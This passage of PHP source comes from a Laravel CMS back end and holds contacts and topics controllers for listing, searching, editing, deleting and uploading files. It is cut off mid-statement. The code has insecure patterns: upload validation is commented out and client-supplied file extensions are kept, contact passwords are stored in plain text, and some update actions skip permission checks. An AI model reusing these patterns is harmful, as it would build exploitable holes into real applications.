(@Auth::user()->permissionsGroup->view_status) { $ContactsGroups = ContactsGroup::where('created_by', '=', Auth::user()->id)->orderby('id', 'asc')->get(); } else { $ContactsGroups = ContactsGroup::orderby('id', 'asc')->get(); } //List of Countries $Countries = Country::orderby('title_' . trans('backLang.boxCode'), 'asc')->get(); if (@Auth::user()->permissionsGroup->view_status) { if ($group_id > 0) { //List of group contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->where('group_id', '=', $group_id)->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "wait") { //List waiting activation Contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '0')->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "blocked") { //List waiting activation Contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '2')->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } } else { if ($group_id > 0) { //List of group contacts $Contacts = Contact::where('group_id', '=', $group_id)->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "wait") { //List waiting activation Contacts $Contacts = Contact::where('status', '=', '0')->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } elseif ($group_id == "blocked") { //List waiting activation Contacts $Contacts = Contact::where('status', '=', '2')->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all contacts $Contacts = Contact::orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } } if (@Auth::user()->permissionsGroup->view_status) { //Count of waiting activation Contacts $WaitContactsCount = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '0')->count(); //Count of Blocked Contacts $BlockedContactsCount = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '2')->count(); //Count of All Contacts $AllContactsCount = Contact::where('created_by', '=', Auth::user()->id)->count(); } else { //Count of waiting activation Contacts $WaitContactsCount = Contact::where('status', '=', '0')->count(); //Count of Blocked Contacts $BlockedContactsCount = Contact::where('status', '=', '2')->count(); //Count of All Contacts $AllContactsCount = Contact::count(); } $search_word = ""; return view("backEnd.contacts", compact("Contacts", "GeneralWebmasterSections", "ContactsGroups", "Countries", "WaitContactsCount", "BlockedContactsCount", "AllContactsCount", "group_id", "search_word")); } /** * Search resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function search(Request $request) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //List of groups if (@Auth::user()->permissionsGroup->view_status) { $ContactsGroups = ContactsGroup::where('created_by', '=', Auth::user()->id)->orderby('id', 'asc')->get(); } else { $ContactsGroups = ContactsGroup::orderby('id', 'asc')->get(); } //List of Countries $Countries = Country::orderby('title_' . trans('backLang.boxCode'), 'asc')->get(); if (@Auth::user()->permissionsGroup->view_status) { if ($request->q != "") { //find Contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->where('first_name', 'like', '%' . $request->q . '%') ->orwhere('last_name', 'like', '%' . $request->q . '%') ->orwhere('company', 'like', '%' . $request->q . '%') ->orwhere('city', 'like', '%' . $request->q . '%') ->orwhere('notes', 'like', '%' . $request->q . '%') ->orwhere('phone', '=', $request->q) ->orwhere('email', '=', $request->q) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all contacts $Contacts = Contact::where('created_by', '=', Auth::user()->id)->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } } else { if ($request->q != "") { //find Contacts $Contacts = Contact::where('first_name', 'like', '%' . $request->q . '%') ->orwhere('last_name', 'like', '%' . $request->q . '%') ->orwhere('company', 'like', '%' . $request->q . '%') ->orwhere('city', 'like', '%' . $request->q . '%') ->orwhere('notes', 'like', '%' . $request->q . '%') ->orwhere('phone', '=', $request->q) ->orwhere('email', '=', $request->q) ->orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { //List of all contacts $Contacts = Contact::orderby('id', 'desc')->paginate(env('BACKEND_PAGINATION')); } } if (@Auth::user()->permissionsGroup->view_status) { //Count of waiting activation Contacts $WaitContactsCount = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '0')->count(); //Count of Blocked Contacts $BlockedContactsCount = Contact::where('created_by', '=', Auth::user()->id)->where('status', '=', '2')->count(); //Count of All Contacts $AllContactsCount = Contact::where('created_by', '=', Auth::user()->id)->count(); } else { //Count of waiting activation Contacts $WaitContactsCount = Contact::where('status', '=', '0')->count(); //Count of Blocked Contacts $BlockedContactsCount = Contact::where('status', '=', '2')->count(); //Count of All Contacts $AllContactsCount = Contact::count(); } $group_id = ""; $search_word = $request->q; return view("backEnd.contacts", compact("Contacts", "GeneralWebmasterSections", "ContactsGroups", "Countries", "WaitContactsCount", "BlockedContactsCount", "AllContactsCount", "group_id", "search_word")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function storeGroup(Request $request) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // $ContactsGroup = new ContactsGroup; $ContactsGroup->name = $request->name; $ContactsGroup->created_by = Auth::user()->id; $ContactsGroup->save(); return redirect()->action('ContactsController@index'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // $this->validate($request, [ 'file' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); // Start of Upload Files $formFileName = "file"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } // End of Upload Files $Contact = new Contact; $Contact->group_id = $request->group_id; $Contact->first_name = $request->first_name; $Contact->last_name = $request->last_name; $Contact->company = $request->company; $Contact->email = $request->email; $Contact->password = $request->password; $Contact->phone = $request->phone; $Contact->country_id = $request->country_id; $Contact->city = $request->city; $Contact->address = $request->address; $Contact->address = $request->address; $Contact->photo = $fileFinalName_ar; $Contact->notes = $request->notes; $Contact->status = 1; $Contact->created_by = Auth::user()->id; $Contact->save(); return redirect()->action('ContactsController@index'); } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // $ContactToEdit = Contact::find($id); if (count($ContactToEdit) > 0) { return redirect()->action('ContactsController@index', $ContactToEdit->group_id)->with('ContactToEdit', $ContactToEdit); } else { return redirect()->action('ContactsController@index'); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function editGroup($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $EditContactsGroup = ContactsGroup::where('created_by', '=', Auth::user()->id)->find($id); } else { $EditContactsGroup = ContactsGroup::find($id); } if (count($EditContactsGroup) > 0) { return redirect()->action('ContactsController@index')->with('EditContactsGroup', $EditContactsGroup); } else { return redirect()->action('ContactsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $Contact = Contact::where('created_by', '=', Auth::user()->id)->find($id); } else { $Contact = Contact::find($id); } if (count($Contact) > 0) { $this->validate($request, [ 'file' => 'mimes:png,jpeg,jpg,gif|max:3000' ]); // Start of Upload Files $formFileName = "file"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } // End of Upload Files $Contact->group_id = $request->group_id; $Contact->first_name = $request->first_name; $Contact->last_name = $request->last_name; $Contact->company = $request->company; $Contact->email = $request->email; $Contact->password = $request->password; $Contact->phone = $request->phone; $Contact->country_id = $request->country_id; $Contact->city = $request->city; $Contact->address = $request->address; $Contact->address = $request->address; $Contact->notes = $request->notes; if ($fileFinalName_ar != "") { // Delete a Contact file if ($Contact->photo != "") { File::delete($this->getUploadPath() . $Contact->photo); } $Contact->photo = $fileFinalName_ar; } $Contact->status = $request->status; $Contact->updated_by = Auth::user()->id; $Contact->save(); return redirect()->action('ContactsController@index')->with('ContactToEdit', $Contact)->with('doneMessage2', trans('backLang.saveDone')); } else { return redirect()->action('ContactsController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateGroup(Request $request, $id) { // $ContactsGroup = ContactsGroup::find($id); if (count($ContactsGroup) > 0) { $ContactsGroup->name = $request->name; $ContactsGroup->updated_by = Auth::user()->id; $ContactsGroup->save(); } return redirect()->action('ContactsController@index'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $Contact = Contact::where('created_by', '=', Auth::user()->id)->find($id); } else { $Contact = Contact::find($id); } if (count($Contact) > 0) { // Delete a Contact file if ($Contact->photo != "") { File::delete($this->getUploadPath() . $Contact->photo); } $Contact->delete(); } return redirect()->action('ContactsController@index'); } public function destroyGroup($id) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $ContactsGroup = ContactsGroup::where('created_by', '=', Auth::user()->id)->find($id); } else { $ContactsGroup = ContactsGroup::find($id); } if (count($ContactsGroup) > 0) { $ContactsGroup->delete(); return redirect()->action('ContactsController@index'); } else { return redirect()->action('ContactsController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "activate") { Contact::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Contact::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete Contacts file $Contacts = Contact::wherein('id', $request->ids)->get(); foreach ($Contacts as $Contact) { if ($Contact->photo != "") { File::delete($this->getUploadPath() . $Contact->photo); } } Contact::wherein('id', $request->ids) ->delete(); } return redirect()->action('ContactsController@index')->with('doneMessage', trans('backLang.saveDone')); } }PKVZe}%Http/Controllers/TopicsController.phpnu[middleware('auth'); } /** * Display a listing of the resource. * * @param \Illuminate\Http\Request $webmasterId * @return \Illuminate\Http\Response */ public function index($webmasterId) { // Check Permissions $data_sections_arr = explode(",", Auth::user()->permissionsGroup->data_sections); if (!in_array($webmasterId, $data_sections_arr)) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Webmaster Topic Details $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { if (@Auth::user()->permissionsGroup->view_status) { $Topics = Topic::where('created_by', '=', Auth::user()->id)->where('webmaster_id', '=', $webmasterId)->orderby('row_no', 'desc')->paginate(env('BACKEND_PAGINATION')); } else { $Topics = Topic::where('webmaster_id', '=', $webmasterId)->orderby('row_no', 'desc')->paginate(env('BACKEND_PAGINATION')); } return view("backEnd.topics", compact("Topics", "GeneralWebmasterSections", "WebmasterSection")); } else { return redirect()->route('NotFound'); } } /** * Show the form for creating a new resource. * * @param \Illuminate\Http\Request $webmasterId * @return \Illuminate\Http\Response */ public function create($webmasterId) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END //Webmaster Topic Details $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { $fatherSections = Section::where('webmaster_id', '=', $webmasterId)->where('father_id', '=', '0')->orderby('row_no', 'asc')->get(); return view("backEnd.topics.create", compact("GeneralWebmasterSections", "WebmasterSection", "fatherSections")); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function store(Request $request, $webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ //'photo_file' => 'mimes:png,jpeg,jpg,gif|max:3000', // 'audio_file' => 'file|mimetypes:application/octet-stream', // 'audio_file' => 'mimes:mpga,wav', // mpga = mp3 correction for the mp3 upload bug //'video_file' => 'mimes:mp4,ogv,webm' ]); $next_nor_no = Topic::where('webmaster_id', '=', $webmasterId)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } // Start of Upload Files $formFileName = "photo_file"; $fileFinalName = ""; if ($request->$formFileName != "") { $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } $formFileName = "audio_file"; $audioFileFinalName = ""; if ($request->$formFileName != "") { $audioFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $audioFileFinalName); } $formFileName = "attach_file"; $attachFileFinalName = ""; if ($request->$formFileName != "") { $attachFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $attachFileFinalName); } if ($request->video_type == 3) { $videoFileFinalName = $request->embed_link; } elseif ($request->video_type == 2) { $videoFileFinalName = $request->vimeo_link; } elseif ($request->video_type == 1) { $videoFileFinalName = $request->youtube_link; } else { $formFileName = "video_file"; $videoFileFinalName = ""; if ($request->$formFileName != "") { $videoFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $videoFileFinalName); } } // End of Upload Files // create new topic $Topic = new Topic; // Save topic details $Topic->row_no = $next_nor_no; $Topic->title_ar = $request->title_ar; $Topic->title_he = $request->title_he; $Topic->title_en = $request->title_en; $Topic->details_ar = $request->details_ar; $Topic->details_he = $request->details_he; $Topic->details_en = $request->details_en; $Topic->date = $request->date; if (@$request->expire_date != "") { $Topic->expire_date = $request->expire_date; } if ($fileFinalName != "") { $Topic->photo_file = $fileFinalName; } if ($audioFileFinalName != "") { $Topic->audio_file = $audioFileFinalName; } if ($attachFileFinalName != "") { $Topic->attach_file = $attachFileFinalName; } if ($videoFileFinalName != "") { $Topic->video_file = $videoFileFinalName; } $Topic->icon = $request->icon; $Topic->video_type = $request->video_type; $Topic->webmaster_id = $webmasterId; $Topic->created_by = Auth::user()->id; $Topic->visits = 0; $Topic->status = 1; // Meta title $Topic->seo_title_ar = $request->title_ar; $Topic->seo_title_he = $request->title_he; $Topic->seo_title_en = $request->title_en; // URL Slugs $slugs = Helper::URLSlug($request->title_ar,$request->title_he, $request->title_en, "topic", 0); $Topic->seo_url_slug_ar = $slugs['slug_ar']; $Topic->seo_url_slug_he = $slugs['slug_he']; $Topic->seo_url_slug_en = $slugs['slug_en']; // Meta Description $Topic->seo_description_ar = mb_substr(strip_tags(stripslashes($request->details_ar)), 0, 165, 'UTF-8'); $Topic->seo_description_he = mb_substr(strip_tags(stripslashes($request->details_he)), 0, 165, 'UTF-8'); $Topic->seo_description_en = mb_substr(strip_tags(stripslashes($request->details_en)), 0, 165, 'UTF-8'); $Topic->save(); if ($request->section_id != "" && $request->section_id != 0) { // Save categories foreach ($request->section_id as $category) { if ($category > 0) { $TopicCategory = new TopicCategory; $TopicCategory->topic_id = $Topic->id; $TopicCategory->section_id = $category; $TopicCategory->save(); } } } // Save additional Fields if (!empty($WebmasterSection->customFields) ) { foreach ($WebmasterSection->customFields as $customField) { $field_value_var = "customField_" . $customField->id; if ($request->$field_value_var != "") { if ($customField->type == 8 || $customField->type == 9 || $customField->type == 10) { // upload file if ($request->$field_value_var != "") { $uploadedFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($field_value_var)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($field_value_var)->move($path, $uploadedFileFinalName); $field_value = $uploadedFileFinalName; } } elseif ($customField->type == 7) { // if multi check $field_value = implode(", ", $request->$field_value_var); } else { $field_value = $request->$field_value_var; } $TopicField = new TopicField; $TopicField->topic_id = $Topic->id; $TopicField->field_id = $customField->id; $TopicField->field_value = $field_value; $TopicField->save(); } } } return redirect()->action('TopicsController@edit', [$webmasterId, $Topic->id])->with('doneMessage', trans('backLang.addDone')); } else { return redirect()->route('NotFound'); } } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function edit($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $Topics = Topic::where('created_by', '=', Auth::user()->id)->find($id); } else { $Topics = Topic::find($id); } if (!empty($Topics) ) { //Topic Topics Details $WebmasterSection = WebmasterSection::find($Topics->webmaster_id); $fatherSections = Section::where('webmaster_id', '=', $webmasterId)->where('father_id', '=', '0')->orderby('row_no', 'asc')->get(); return view("backEnd.topics.edit", compact("Topics", "GeneralWebmasterSections", "WebmasterSection", "fatherSections")); } else { return redirect()->action('TopicsController@index', $webmasterId); } } else { return redirect()->route('NotFound'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function update(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $Topic = Topic::find($id); if (!empty($Topic)) { $this->validate($request, [ //'photo_file' => 'mimes:png,jpeg,jpg,gif|max:3000', // 'audio_file' => 'file|mimetypes:application/octet-stream', // 'audio_file' => 'mimes:mpga,wav', // mpga = mp3 correction for the mp3 upload bug // 'video_file' => 'mimes:mp4,ogv,webm' ]); // Start of Upload Files $formFileName = "photo_file"; $fileFinalName = ""; if ($request->$formFileName != "") { // Delete a Topic photo if ($Topic->$formFileName != "") { File::delete($this->getUploadPath() . $Topic->$formFileName); } $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } $formFileName = "audio_file"; $audioFileFinalName = ""; if ($request->$formFileName != "") { // Delete file if there is a new one if ($Topic->$formFileName != "") { File::delete($this->getUploadPath() . $Topic->$formFileName); } $audioFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $audioFileFinalName); } $formFileName = "attach_file"; $attachFileFinalName = ""; if ($request->$formFileName != "") { // Delete file if there is a new one if ($Topic->$formFileName != "") { File::delete($this->getUploadPath() . $Topic->$formFileName); } $attachFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $attachFileFinalName); } if ($request->video_type == 3) { $videoFileFinalName = $request->embed_link; } elseif ($request->video_type == 2) { $videoFileFinalName = $request->vimeo_link; } elseif ($request->video_type == 1) { $videoFileFinalName = $request->youtube_link; } else { $formFileName = "video_file"; $videoFileFinalName = ""; if ($request->$formFileName != "") { // Delete file if there is a new one if ($Topic->$formFileName != "") { File::delete($this->getUploadPath() . $Topic->$formFileName); } $videoFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $videoFileFinalName); } } // End of Upload Files $Topic->title_ar = $request->title_ar; $Topic->title_he = $request->title_he; $Topic->title_en = $request->title_en; $Topic->details_ar = $request->details_ar; $Topic->details_he = $request->details_he; $Topic->details_en = $request->details_en; $Topic->date = $request->date; if (@$request->expire_date != "" || $Topic->date != "") { $Topic->expire_date = @$request->expire_date; } if ($request->photo_delete == 1) { // Delete photo_file if ($Topic->photo_file != "") { File::delete($this->getUploadPath() . $Topic->photo_file); } $Topic->photo_file = ""; } if ($fileFinalName != "") { $Topic->photo_file = $fileFinalName; } if ($audioFileFinalName != "") { $Topic->audio_file = $audioFileFinalName; } if ($request->attach_delete == 1) { // Delete attach_file if ($Topic->attach_file != "") { File::delete($this->getUploadPath() . $Topic->attach_file); } $Topic->attach_file = ""; } if ($attachFileFinalName != "") { $Topic->attach_file = $attachFileFinalName; } if ($videoFileFinalName != "") { $Topic->video_file = $videoFileFinalName; } $Topic->icon = $request->icon; $Topic->video_type = $request->video_type; $Topic->status = $request->status; $Topic->updated_by = Auth::user()->id; $Topic->save(); // Remove old categories TopicCategory::where('topic_id', $Topic->id)->delete(); // Save new categories if ($request->section_id != "" && $request->section_id != 0) { foreach ($request->section_id as $category) { if ($category > 0) { $TopicCategory = new TopicCategory; $TopicCategory->topic_id = $Topic->id; $TopicCategory->section_id = $category; $TopicCategory->save(); } } } // Remove old Fields Values TopicField::where('topic_id', $Topic->id)->delete(); // Save additional Fields if (!empty($WebmasterSection->customFields) ) { foreach ($WebmasterSection->customFields as $customField) { $field_value = ""; $field_value_var = "customField_" . $customField->id; $file_del_id = 'file_delete_' . $customField->id; $file_old_id = 'file_old_' . $customField->id; if ($customField->type == 8 || $customField->type == 9 || $customField->type == 10) { // upload file if ($request->$field_value_var != "") { $uploadedFileFinalName = time() . rand(1111, 9999) . '.' . $request->file($field_value_var)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($field_value_var)->move($path, $uploadedFileFinalName); $field_value = $uploadedFileFinalName; } else { // if old file still $field_value = $request->$file_old_id; } if ($request->$file_del_id) { // if want to delete the file File::delete($this->getUploadPath() . $request->$file_old_id); $field_value = ""; } } elseif ($customField->type == 7) { // if multi check if ($request->$field_value_var != "") { $field_value = implode(", ", $request->$field_value_var); } } else { $field_value = $request->$field_value_var; } if ($field_value != "") { $TopicField = new TopicField; $TopicField->topic_id = $Topic->id; $TopicField->field_id = $customField->id; $TopicField->field_value = $field_value; $TopicField->save(); } } } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('TopicsController@index', $webmasterId); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function destroy($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // if (@Auth::user()->permissionsGroup->view_status) { $Topic = Topic::where('created_by', '=', Auth::user()->id)->find($id); } else { $Topic = Topic::find($id); } if (!empty($Topic) ) { // Delete a Topic photo if ($Topic->photo_file != "") { File::delete($this->getUploadPath() . $Topic->photo_file); } if ($Topic->attach_file != "") { File::delete($this->getUploadPath() . $Topic->attach_file); } if ($Topic->audio_file != "") { File::delete($this->getUploadPath() . $Topic->audio_file); } if ($Topic->video_type == 0 && $Topic->video_file != "") { File::delete($this->getUploadPath() . $Topic->video_file); } //delete additional fields TopicField::where('topic_id', $Topic->id)->delete(); //delete Related Topics RelatedTopic::where('topic_id', $Topic->id)->delete(); // Remove categories TopicCategory::where('topic_id', $Topic->id)->delete(); // Remove comments Comment::where('topic_id', $Topic->id)->delete(); // Remove maps Map::where('topic_id', $Topic->id)->delete(); // Remove Photos $PhotoFiles = Photo::where('topic_id', $Topic->id)->get(); if (!empty($PhotoFiles) ) { foreach ($PhotoFiles as $PhotoFile) { if ($PhotoFile->file != "") { File::delete($this->getUploadPath() . $PhotoFile->file); } } } Photo::where('topic_id', $Topic->id)->delete(); // Remove Attach Files $AttachFiles = AttachFile::where('topic_id', $Topic->id)->get(); if (!empty($AttachFiles) ) { foreach ($AttachFiles as $AttachFile) { if ($AttachFile->file != "") { File::delete($this->getUploadPath() . $AttachFile->file); } } } AttachFile::where('topic_id', $Topic->id)->delete(); //Remove Topic $Topic->delete(); return redirect()->action('TopicsController@index', $webmasterId)->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('TopicsController@index', $webmasterId); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @return \Illuminate\Http\Response */ public function updateAll(Request $request, $webmasterId) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Topic = Topic::find($rowId); if (!empty($Topic) ) { $row_no_val = "row_no_" . $rowId; $Topic->row_no = $request->$row_no_val; $Topic->save(); } } } elseif ($request->action == "activate") { Topic::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Topic::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete Topics photo $Topics = Topic::wherein('id', $request->ids)->get(); foreach ($Topics as $Topic) { if ($Topic->photo_file != "") { File::delete($this->getUploadPath() . $Topic->photo_file); } if ($Topic->attach_file != "") { File::delete($this->getUploadPath() . $Topic->attach_file); } if ($Topic->audio_file != "") { File::delete($this->getUploadPath() . $Topic->audio_file); } if ($Topic->video_type == 0 && $Topic->video_file != "") { File::delete($this->getUploadPath() . $Topic->video_file); } } // Delete photo files $PhotoFiles = Photo::wherein('topic_id', $request->ids)->get(); foreach ($PhotoFiles as $PhotoFile) { if ($PhotoFile->file != "") { File::delete($this->getUploadPath() . $PhotoFile->file); } } // Delete attach files $AttachFile_Files = AttachFile::wherein('topic_id', $request->ids)->get(); foreach ($AttachFile_Files as $AttachFile_File) { if ($AttachFile_File->file != "") { File::delete($this->getUploadPath() . $AttachFile_File->file); } } //delete additional fields TopicField::wherein('topic_id', $request->ids) ->delete(); //delete Related Topics RelatedTopic::wherein('topic_id', $request->ids) ->delete(); // Remove categories TopicCategory::wherein('topic_id', $request->ids) ->delete(); // Remove Photos Photo::wherein('topic_id', $request->ids) ->delete(); // Remove Attach Files AttachFile::wherein('topic_id', $request->ids) ->delete(); // Remove Attach Maps Map::wherein('topic_id', $request->ids) ->delete(); // Remove Attach Comments Comment::wherein('topic_id', $request->ids) ->delete(); //Remove Topics Topic::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@index', $webmasterId)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->route('NotFound'); } } /** * Update SEO tab * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @return \Illuminate\Http\Response */ public function seo(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $Topic = Topic::find($id); if (!empty($Topic) ) { $Topic->seo_title_ar = $request->seo_title_ar; $Topic->seo_title_he = $request->seo_title_he; $Topic->seo_title_en = $request->seo_title_en; $Topic->seo_description_ar = $request->seo_description_ar; $Topic->seo_description_he = $request->seo_description_he; $Topic->seo_description_en = $request->seo_description_en; $Topic->seo_keywords_ar = $request->seo_keywords_ar; $Topic->seo_keywords_he = $request->seo_keywords_he; $Topic->seo_keywords_en = $request->seo_keywords_en; $Topic->updated_by = Auth::user()->id; //URL Slugs $slugs = Helper::URLSlug($request->seo_url_slug_ar,$request->seo_url_slug_he, $request->seo_url_slug_en, "topic", $id); $Topic->seo_url_slug_ar = $slugs['slug_ar']; $Topic->seo_url_slug_he = $slugs['slug_he']; $Topic->seo_url_slug_en = $slugs['slug_en']; $Topic->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'seo'); } else { return redirect()->action('TopicsController@index', $webmasterId); } } else { return redirect()->route('NotFound'); } } /** * Store a newly photos. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function photos(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ 'file' => 'image|max:3000', ]); $next_nor_no = Photo::where('topic_id', '=', $id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } // Start of Upload Files $formFileName = "file"; $fileFinalName = ""; $fileFinalTitle = ""; // Original file name without extension if ($request->$formFileName != "") { $fileFinalTitle = 